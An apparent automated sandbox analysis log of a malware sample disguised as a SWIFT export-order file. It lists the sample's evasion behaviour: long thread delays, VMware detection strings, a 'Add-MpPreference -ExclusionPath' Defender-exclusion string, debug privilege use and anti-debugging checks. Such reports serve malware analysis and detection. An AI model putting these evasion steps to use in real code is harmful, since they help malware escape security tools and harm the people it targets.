Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 232687 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 232535 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 232395 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 232268 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 230891 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 230122 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Window / User API: threadDelayed 3989 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Window / User API: threadDelayed 4346 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 6427 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1224 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 7185 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1300 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 240000 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 239828 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 39327 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 239718 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 239609 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 239497 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 239370 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 239263 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 239152 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 239031 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 238921 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 238812 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 238703 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 238593 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 238483 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 238375 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 238265 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 238150 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 238045 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 237937 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 237828 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 237718 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 237609 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 237499 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 237390 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 237281 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 237171 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 237062 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 236952 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 236843 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 236734 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 236625 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 236515 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 236406 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 236296 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 236152 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 236046 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 235937 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 235828 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 235718 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 235609 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 235500 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 235390 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 235281 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 235141 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 235031 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 234913 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 234797 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 234682 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 234553 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 234391 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 234250 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 234140 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 234012 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 233898 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 233750 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 233640 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 233529 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 233421 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 233312 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 233203 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 233093 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 232980 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 232865 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 232687 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 232535 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 232395 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 232268 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 230891 Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Thread delayed: delay time: 230122 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: TT_SWIFT_Export Order_noref S10SMG00318021.exe, 00000000.00000002.263661342.0000000002DE1000.00000004.00000001.sdmp Binary or memory string: VMware SVGA IIBAdd-MpPreference -ExclusionPath "
Source: TT_SWIFT_Export Order_noref S10SMG00318021.exe, 00000000.00000002.263661342.0000000002DE1000.00000004.00000001.sdmp Binary or memory string: InstallPathJC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: explorer.exe, 0000000B.00000000.308028352.000000000891C000.00000004.00000001.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: TT_SWIFT_Export Order_noref S10SMG00318021.exe, 00000000.00000002.263661342.0000000002DE1000.00000004.00000001.sdmp Binary or memory string: vmware
Source: explorer.exe, 0000000B.00000000.302474555.000000000375F000.00000004.00000001.sdmp Binary or memory string: VMware SATA CD00
Source: explorer.exe, 0000000B.00000000.266676869.00000000011B3000.00000004.00000020.sdmp Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000tft\0
Source: explorer.exe, 0000000B.00000000.274705070.00000000089B5000.00000004.00000001.sdmp Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000%
Source: explorer.exe, 0000000B.00000000.330209660.00000000053C4000.00000004.00000001.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}>'R\"
Source: explorer.exe, 0000000B.00000000.274705070.00000000089B5000.00000004.00000001.sdmp Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&0000002
Source: TT_SWIFT_Export Order_noref S10SMG00318021.exe, 00000000.00000002.263661342.0000000002DE1000.00000004.00000001.sdmp Binary or memory string: VMWAREDSOFTWARE\VMware, Inc.\VMware Tools

Anti Debugging:

barindex
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_004088E0 rdtsc 8_2_004088E0
Enables debug privileges
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\help.exe Process token adjusted: Debug Jump to behavior
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01403D43 mov eax, dword ptr fs:[00000030h] 8_2_01403D43
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013F4D3B mov eax, dword ptr fs:[00000030h] 8_2_013F4D3B
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013F4D3B mov eax, dword ptr fs:[00000030h] 8_2_013F4D3B
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013F4D3B mov eax, dword ptr fs:[00000030h] 8_2_013F4D3B
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01443540 mov eax, dword ptr fs:[00000030h] 8_2_01443540
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013F513A mov eax, dword ptr fs:[00000030h] 8_2_013F513A
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013F513A mov eax, dword ptr fs:[00000030h] 8_2_013F513A
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013D3D34 mov eax, dword ptr fs:[00000030h] 8_2_013D3D34
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013D3D34 mov eax, dword ptr fs:[00000030h] 8_2_013D3D34
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013D3D34 mov eax, dword ptr fs:[00000030h] 8_2_013D3D34
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013D3D34 mov eax, dword ptr fs:[00000030h] 8_2_013D3D34
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013D3D34 mov eax, dword ptr fs:[00000030h] 8_2_013D3D34
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013D3D34 mov eax, dword ptr fs:[00000030h] 8_2_013D3D34
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013D3D34 mov eax, dword ptr fs:[00000030h] 8_2_013D3D34
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013D3D34 mov eax, dword ptr fs:[00000030h] 8_2_013D3D34
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013D3D34 mov eax, dword ptr fs:[00000030h] 8_2_013D3D34
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013D3D34 mov eax, dword ptr fs:[00000030h] 8_2_013D3D34
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013D3D34 mov eax, dword ptr fs:[00000030h] 8_2_013D3D34
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013D3D34 mov eax, dword ptr fs:[00000030h] 8_2_013D3D34
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013D3D34 mov eax, dword ptr fs:[00000030h] 8_2_013D3D34
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013CAD30 mov eax, dword ptr fs:[00000030h] 8_2_013CAD30
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013E4120 mov eax, dword ptr fs:[00000030h] 8_2_013E4120
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013E4120 mov eax, dword ptr fs:[00000030h] 8_2_013E4120
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013E4120 mov eax, dword ptr fs:[00000030h] 8_2_013E4120
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013E4120 mov eax, dword ptr fs:[00000030h] 8_2_013E4120
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013E4120 mov ecx, dword ptr fs:[00000030h] 8_2_013E4120
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013C9100 mov eax, dword ptr fs:[00000030h] 8_2_013C9100
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013C9100 mov eax, dword ptr fs:[00000030h] 8_2_013C9100
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013C9100 mov eax, dword ptr fs:[00000030h] 8_2_013C9100
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013EC577 mov eax, dword ptr fs:[00000030h] 8_2_013EC577
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013EC577 mov eax, dword ptr fs:[00000030h] 8_2_013EC577
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013CB171 mov eax, dword ptr fs:[00000030h] 8_2_013CB171
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013CB171 mov eax, dword ptr fs:[00000030h] 8_2_013CB171
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013CC962 mov eax, dword ptr fs:[00000030h] 8_2_013CC962
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013E7D50 mov eax, dword ptr fs:[00000030h] 8_2_013E7D50
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0144A537 mov eax, dword ptr fs:[00000030h] 8_2_0144A537
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013EB944 mov eax, dword ptr fs:[00000030h] 8_2_013EB944
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013EB944 mov eax, dword ptr fs:[00000030h] 8_2_013EB944
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01498D34 mov eax, dword ptr fs:[00000030h] 8_2_01498D34
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013F35A1 mov eax, dword ptr fs:[00000030h] 8_2_013F35A1
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013FFD9B mov eax, dword ptr fs:[00000030h] 8_2_013FFD9B
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013FFD9B mov eax, dword ptr fs:[00000030h] 8_2_013FFD9B
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_014541E8 mov eax, dword ptr fs:[00000030h] 8_2_014541E8
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01478DF1 mov eax, dword ptr fs:[00000030h] 8_2_01478DF1
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013C2D8A mov eax, dword ptr fs:[00000030h] 8_2_013C2D8A
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013C2D8A mov eax, dword ptr fs:[00000030h] 8_2_013C2D8A
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013C2D8A mov eax, dword ptr fs:[00000030h] 8_2_013C2D8A
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013C2D8A mov eax, dword ptr fs:[00000030h] 8_2_013C2D8A
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013C2D8A mov eax, dword ptr fs:[00000030h] 8_2_013C2D8A
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013FA185 mov eax, dword ptr fs:[00000030h] 8_2_013FA185
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013EC182 mov eax, dword ptr fs:[00000030h] 8_2_013EC182
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013CB1E1 mov eax, dword ptr fs:[00000030h] 8_2_013CB1E1
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013CB1E1 mov eax, dword ptr fs:[00000030h] 8_2_013CB1E1
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013CB1E1 mov eax, dword ptr fs:[00000030h] 8_2_013CB1E1
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013DD5E0 mov eax, dword ptr fs:[00000030h] 8_2_013DD5E0
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013DD5E0 mov eax, dword ptr fs:[00000030h] 8_2_013DD5E0
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013FBC2C mov eax, dword ptr fs:[00000030h] 8_2_013FBC2C
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0145C450 mov eax, dword ptr fs:[00000030h] 8_2_0145C450
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0145C450 mov eax, dword ptr fs:[00000030h] 8_2_0145C450
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013DB02A mov eax, dword ptr fs:[00000030h] 8_2_013DB02A
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013DB02A mov eax, dword ptr fs:[00000030h] 8_2_013DB02A
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013DB02A mov eax, dword ptr fs:[00000030h] 8_2_013DB02A
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013DB02A mov eax, dword ptr fs:[00000030h] 8_2_013DB02A
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01482073 mov eax, dword ptr fs:[00000030h] 8_2_01482073
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01491074 mov eax, dword ptr fs:[00000030h] 8_2_01491074
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0149740D mov eax, dword ptr fs:[00000030h] 8_2_0149740D
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0149740D mov eax, dword ptr fs:[00000030h] 8_2_0149740D
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0149740D mov eax, dword ptr fs:[00000030h] 8_2_0149740D
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01481C06 mov eax, dword ptr fs:[00000030h] 8_2_01481C06
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01481C06 mov eax, dword ptr fs:[00000030h] 8_2_01481C06
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01481C06 mov eax, dword ptr fs:[00000030h] 8_2_01481C06
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01481C06 mov eax, dword ptr fs:[00000030h] 8_2_01481C06
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01481C06 mov eax, dword ptr fs:[00000030h] 8_2_01481C06
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01481C06 mov eax, dword ptr fs:[00000030h] 8_2_01481C06
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01481C06 mov eax, dword ptr fs:[00000030h] 8_2_01481C06
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01481C06 mov eax, dword ptr fs:[00000030h] 8_2_01481C06
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01481C06 mov eax, dword ptr fs:[00000030h] 8_2_01481C06
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01481C06 mov eax, dword ptr fs:[00000030h] 8_2_01481C06
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01481C06 mov eax, dword ptr fs:[00000030h] 8_2_01481C06
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01481C06 mov eax, dword ptr fs:[00000030h] 8_2_01481C06
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01481C06 mov eax, dword ptr fs:[00000030h] 8_2_01481C06
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01481C06 mov eax, dword ptr fs:[00000030h] 8_2_01481C06
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01446C0A mov eax, dword ptr fs:[00000030h] 8_2_01446C0A
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01446C0A mov eax, dword ptr fs:[00000030h] 8_2_01446C0A
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01446C0A mov eax, dword ptr fs:[00000030h] 8_2_01446C0A
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01446C0A mov eax, dword ptr fs:[00000030h] 8_2_01446C0A
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01447016 mov eax, dword ptr fs:[00000030h] 8_2_01447016
